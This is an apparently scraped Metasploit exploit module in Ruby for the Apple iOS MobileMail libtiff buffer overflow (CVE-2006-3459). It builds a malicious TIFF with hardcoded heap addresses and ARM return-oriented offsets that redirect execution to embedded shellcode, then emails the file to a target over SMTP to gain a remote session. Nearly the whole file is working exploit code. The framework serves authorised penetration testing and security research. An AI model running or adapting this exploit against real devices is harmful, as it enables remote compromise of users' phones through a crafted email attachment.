Path: blob/master/modules/exploits/apple_ios/email/mobilemail_libtiff.rb
32545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple iOS MobileMail LibTIFF Buffer Overflow',18'Description' => %q{19This module exploits a buffer overflow in the version of20libtiff shipped with firmware versions 1.00, 1.01, 1.02, and211.1.1 of the Apple iPhone. iPhones which have not had the BSD22tools installed will need to use a special payload.23},24'License' => MSF_LICENSE,25'Author' => ['hdm', 'kf'],26'References' => [27['CVE', '2006-3459'],28['OSVDB', '27723'],29['BID', '19283']30],31'Stance' => Msf::Exploit::Stance::Passive,32'Payload' => {33'Space' => 1800,34'BadChars' => '',35'Compat' => {36'ConnectionType' => '-bind -find'37}38},39'Arch' => ARCH_ARMLE,40'Targets' => [41[42'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',43{44'Platform' => 'osx',4546# Scratch space for our shellcode and stack47'Heap' => 0x00802000,4849# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib50'Magic' => 0x300d562c51}52],53],54'DefaultTarget' => 0,55'DisclosureDate' => '2006-08-01',56'Notes' => {57'Stability' => [ CRASH_SERVICE_DOWN ],58'SideEffects' => [ IOC_IN_LOGS ],59'Reliability' => [ UNRELIABLE_SESSION ]60}61)62)63end6465def autofilter66false67end6869def exploit70exts = ['jpg', 'tiff', 'tif']7172gext = exts[rand(exts.length)]73data = Rex::Text.rand_text_alpha(1..32)74tiff = generate_tiff(target)7576msg = Rex::MIME::Message.new77msg.mime_defaults78msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(1..32)79msg.to = datastore['MAILTO']80msg.from = datastore['MAILFROM']8182msg.add_part(Rex::Text.encode_base64(data, "\r\n"), 'text/plain', 'base64', 'inline')83msg.add_part_attachment(tiff, rand_text_alpha(1..32) + '.' + gext)8485send_message(msg.to_s)8687print_status('Waiting for a payload session (backgrounding)...')88end8990def generate_tiff(targ)91#92# This is a TIFF file, we have a huge range of evasion93# capabilities, but for now, we don't use them.94# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday95#9697lolz = 204898tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"99tiff << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"100tiff << "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"101tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"102tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"103tiff << "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"104tiff << "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"105tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"106tiff << "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"107tiff << "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"108tiff << [lolz].pack('V')109tiff << "\x84\x00\x00\x00\x00\x00\x00\x00"110111# Randomize the bajeezus out of our data112hehe = rand_text(lolz)113114# Were going to candy mountain!115hehe[120, 4] = [targ['Magic']].pack('V')116117# >> add r0, r4, #0x30118hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack('V')119120# Candy mountain, Charlie!121# >> mov r1, sp122123# It will be an adventure!124# >> mov r2, r8125hehe[92, 4] = [ hehe.length ].pack('V')126127# Its a magic leoplurodon!128# It has spoken!129# It has shown us the way!130# >> bl _memcpy131132# Its just over this bridge, Charlie!133# This magical bridge!134# >> ldr r3, [r4, #32]135# >> ldrt r3, [pc], r3, lsr #30136# >> str r3, [r4, #32]137# >> ldr r3, [r4, #36]138# >> ldrt r3, [pc], r3, lsr #30139# >> str r3, [r4, #36]140# >> ldr r3, [r4, #40]141# >> ldrt r3, [pc], r3, lsr #30142# >> str r3, [r4, #40]143# >> ldr r3, [r4, #44]144# >> ldrt r3, [pc], r3, lsr #30145# >> str r3, [r4, #44]146147# We made it to candy mountain!148# Go inside Charlie!149# sub sp, r7, #0x14150hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack('V')151152# Goodbye Charlie!153# ;; targ['Heap'] + 0x48 becomes the stack pointer154# >> ldmia sp!, {r8, r10}155156# Hey, what the...!157# >> ldmia sp!, {r4, r5, r6, r7, pc}158159# Return back to the copied heap data160hehe[192, 4] = [ targ['Heap'] + 196 ].pack('V')161162# Insert our actual shellcode at heap location + 196163hehe[196, payload.encoded.length] = payload.encoded164165tiff << hehe166end167end168169170